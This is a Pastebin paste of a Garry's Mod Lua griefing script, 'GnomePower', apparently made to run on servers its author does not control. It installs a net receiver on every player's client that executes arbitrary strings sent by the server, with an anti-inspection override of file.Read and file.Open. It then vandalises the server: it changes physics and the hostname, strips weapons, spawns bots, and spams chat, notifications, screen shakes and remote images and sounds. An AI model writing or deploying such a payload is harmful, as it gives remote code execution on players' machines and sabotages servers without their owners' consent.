Maxdace66

GnomePower.lua (V2) GLOBAL

Sep 8th, 2019
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 7.68 KB | None | 0 0
  1. util.AddNetworkString("Gnome_Power")
  2.  
  3. function payload( ply )
  4.     ply:SendLua( "net.Receive([[Gnome_Power]], function() RunString(net.ReadString()) end)" )
  5. end
  6. local bypass = [=====[
  7. if !fRead then
  8. fRead=file.Read
  9. fOpen=file.Open
  10. end
  11.  
  12. file.Open=function(fn,fm,path)
  13. loh=nil
  14. loh=string.Explode("/",fn)
  15. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  16. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  17. return ""
  18. else
  19. return fOpen(fn,fm,path)
  20. end
  21. end
  22.  
  23. file.Read=function(fn,path)
  24. loh=nil
  25. loh=string.Explode("/",fn)
  26. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  27. chat.AddText("someone tried grabbing ur file named "..fn..".")
  28. return ""
  29. else
  30. return fRead(fn,path)
  31. end
  32. end
  33.  
  34. ]=====]
  35.  
  36. function runcode(ply, code)
  37.     net.Start( "Gnome_Power" )
  38.         net.WriteString("if SERVER then return '' end "..bypass.." "..code )
  39.     net.Send( ply )
  40. end
  41.  
  42. hook.Add( "HUDShouldDraw", "hide hud", function( name )
  43.      if ( name == "CHudHealth" or name == "CHudBattery" ) then
  44.          return false
  45.      end
  46. end )
  47.  
  48. for k, v in pairs( player.GetAll() ) do
  49.     payload( v )
  50. end
  51.  
  52. function run_chaos()
  53.  
  54. hook.Add( "PlayerAuthed", "wat", function( ply )
  55.     payload(ply)
  56. end )
  57.  
  58. timer.Create("FSDFYSDFSDIYFIDGSFKGS", 1.0, 1, function()  
  59. for k,v in pairs(player.GetAll() ) do
  60. runcode(v, [==[
  61.  
  62. WooHTML = vgui.Create( "HTML" )
  63. WooHTML:SetPos( 99999999999999999999, 99999999999999999999 )
  64. WooHTML:SetSize( ScrW(), ScrH())
  65. WooHTML:OpenURL( "https://mandowndoor.webou.net/img/Gnome.png" )
  66.  
  67. ]==])
  68. end
  69.  
  70.  
  71. BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/I'M%20A%20GNME!.m4a", "stereo", function() end )]])
  72.  
  73. RunConsoleCommand( "sv_gravity", "200" )
  74. RunConsoleCommand( "sv_friction", "-1" )
  75. RunConsoleCommand("hostname", "GnomVilla le RP des Gnomes | les lutins ne sont pas accepter.")
  76. player.GetByID( 1 ):StripWeapons()
  77.  
  78. for k, ply in pairs( player.GetAll() ) do
  79.     ply:ChatPrint( "G" )
  80.     ply:ChatPrint( "N" )
  81.     ply:ChatPrint( "O" )
  82.     ply:ChatPrint( "M" )
  83.     ply:ChatPrint( "E" )
  84.     ply:ChatPrint( "-" )
  85.     ply:ChatPrint( "P" )
  86.     ply:ChatPrint( "O" )
  87.     ply:ChatPrint( "W" )
  88.     ply:ChatPrint( "E" )
  89.     ply:ChatPrint( "R" )
  90. end
  91.  
  92. for k,v in pairs(player.GetAll() ) do
  93.     runcode(v, [==[        
  94.         local vars2 = { NOTIFY_GENERIC , NOTIFY_ERROR , NOTIFY_UNDO , NOTIFY_HINT, NOTIFY_CLEANUP }
  95.         local vars3 = {"Les Gnome Arrivent en ville !"}      
  96.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_GENERIC , 1 )
  97.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_ERROR , 1 )
  98.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_UNDO , 1 )
  99.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_HINT , 1 )
  100.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_CLEANUP , 1 )
  101.         timer.Create( "spamnotifafter", 0.2, 0, function()
  102.         notification.AddLegacy( vars3[math.random(1,#vars3)], vars2[math.random(1,#vars2)] , 1 )
  103.         end)
  104.     ]==])
  105. end
  106.  
  107. timer.Create("notifspam", 17.8, 0, function()  
  108.     for k,v in pairs(player.GetAll() ) do
  109.         runcode(v, [==[        
  110.         local vars2 = { NOTIFY_GENERIC , NOTIFY_ERROR , NOTIFY_UNDO , NOTIFY_HINT, NOTIFY_CLEANUP }
  111.         local vars3 = {"Gnome", "Gnome Power", "Power", "power", "gnome", "I'M A GNOME!", "Gnome your Chums", "Gnome your Chums with the new", "Youve been Gnomed", "video greeting", "join my members at", "www.nogginclontith.co.uk"}    
  112.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_GENERIC , 1 )
  113.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_ERROR , 1 )
  114.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_UNDO , 1 )
  115.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_HINT , 1 )
  116.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_CLEANUP , 1 )
  117.         timer.Create( "spamnotifafter", 0.2, 0, function()
  118.         notification.AddLegacy( vars3[math.random(1,#vars3)], vars2[math.random(1,#vars2)] , 1 )
  119.         end)
  120.         ]==])
  121.     end
  122. end)
  123.  
  124. timer.Create("gnomearrive", 1.5, 1, function ()
  125.     for k, ply in pairs( player.GetAll() ) do
  126.         ply:ChatPrint(" ")
  127.         ply:ChatPrint( "///////////////////////////////" )
  128.         ply:ChatPrint( " Les Gnome Arrivent en ville !" )
  129.         ply:ChatPrint( "///////////////////////////////" )
  130.         ply:ChatPrint( " " )
  131.         ply:ChatPrint( " " )
  132.         ply:ChatPrint( "I'M A GNOME !" )
  133.         ply:ChatPrint( " " )
  134.         ply:ChatPrint( "///////////////////////////////" )
  135.     end
  136. end)
  137.  
  138. timer.Create("musiquetwo", 17.5, 1, function()
  139. for k,v in pairs(player.GetAll() ) do
  140.     BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/power.mp3", "stereo", function() end )]])
  141. end
  142. end)
  143.  
  144. timer.Create("botadd", 0.1, 0, function()
  145.     for k,v in pairs(player.GetAll) do
  146.         RunConsoleCommand( "bot:bot" )
  147.     end
  148. end)
  149.  
  150. timer.Create("screenshake", 17.8, 0, function()
  151.     for k,v in pairs(player.GetAll() ) do
  152.         runcode(v, [==[
  153.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
  154.         ]==])
  155.     end
  156. end)
  157.  
  158. timer.Create("modificateoption", 26.0, 1, function ()
  159.     for k,v in pairs(player.GetAll() ) do
  160.         RunConsoleCommand( "sv_gravity", "100" )
  161.         RunConsoleCommand( "sv_friction", "-8" )
  162.         player.GetByID( 1 ):StripWeapons()
  163.     end
  164. end)
  165.  
  166. timer.Create("gnomemodif", 26.1, 1, function ()
  167. for k, ply in pairs( player.GetAll() ) do
  168.         ply:ChatPrint( " " )
  169.                 ply:ChatPrint( " Les Gnomes sont devenue des dieux " )
  170.                         ply:ChatPrint( " Ils peuvent donc détruire le monde " )
  171.         ply:ChatPrint( " " )
  172.     end
  173. end)
  174.  
  175. timer.Create("textoncenter", 26.1, 1, function()
  176. for k,v in pairs(player.GetAll() ) do
  177.     runcode(v, [==[
  178.     local screen_scale = math.Clamp(ScrH()/1080, 0.6, 1);
  179.  
  180.     surface.CreateFont( "Bigfred", {
  181.     font = "Roboto",
  182.     extended = false,
  183.     size = screen_scale *  1000,
  184.     weight = 200,
  185.     blursize = 1.5,
  186.     scanlines = 0,
  187.     antialias = true,
  188.     underline = false,
  189.     italic = false,
  190.     strikeout = false,
  191.     symbol = false,
  192.     rotary = false,
  193.     shadow = false,
  194.     additive = true,
  195.     outline = false,
  196.     } )
  197.  
  198.     hook.Add( "HUDPaint", "aumillieu", function()
  199.     draw.SimpleTextOutlined(
  200.     "Gnome Power",
  201.     "Bigfred",
  202.     ScrW() /2 + math.random(80,5),
  203.      ScrH() /2 + math.random(80,5),
  204.        Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  205.     TEXT_ALIGN_CENTER,
  206.     TEXT_ALIGN_CENTER,
  207.     3,
  208.     Color( 0,0,0, 160 )
  209.     )
  210.     end)
  211.  
  212.         ]==])
  213.     end
  214. end)
  215.  
  216. timer.Create("woo", 67.1, 0, function()
  217.     for k,v in pairs( player.GetAll() ) do
  218.         BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/Gnome%20woo%20greenscreen.mp3", "stereo", function() end )]])
  219.     end
  220. end)
  221.  
  222. timer.Create("wooo", 67.2, 0, function()
  223.     for k,v in pairs( player.GetAll() ) do
  224.         runcode(v, [==[ WooHTML:SetPos( (ScrW() /2) - 146, (ScrH() /2) - 212) ]==] )
  225.     end
  226. end)
  227.  
  228. end)
  229.  
  230. end
  231.  
  232. if !hook.GetTable().PlayerInitialSpawn.podsos then
  233. hook.Add("PlayerInitialSpawn", "podsos", function()
  234. timer.Simple(10, function()
  235. run_chaos()
  236. end)
  237. end)
  238. run_chaos()
  239. end
Advertisement
Add Comment
Please, Sign In to add comment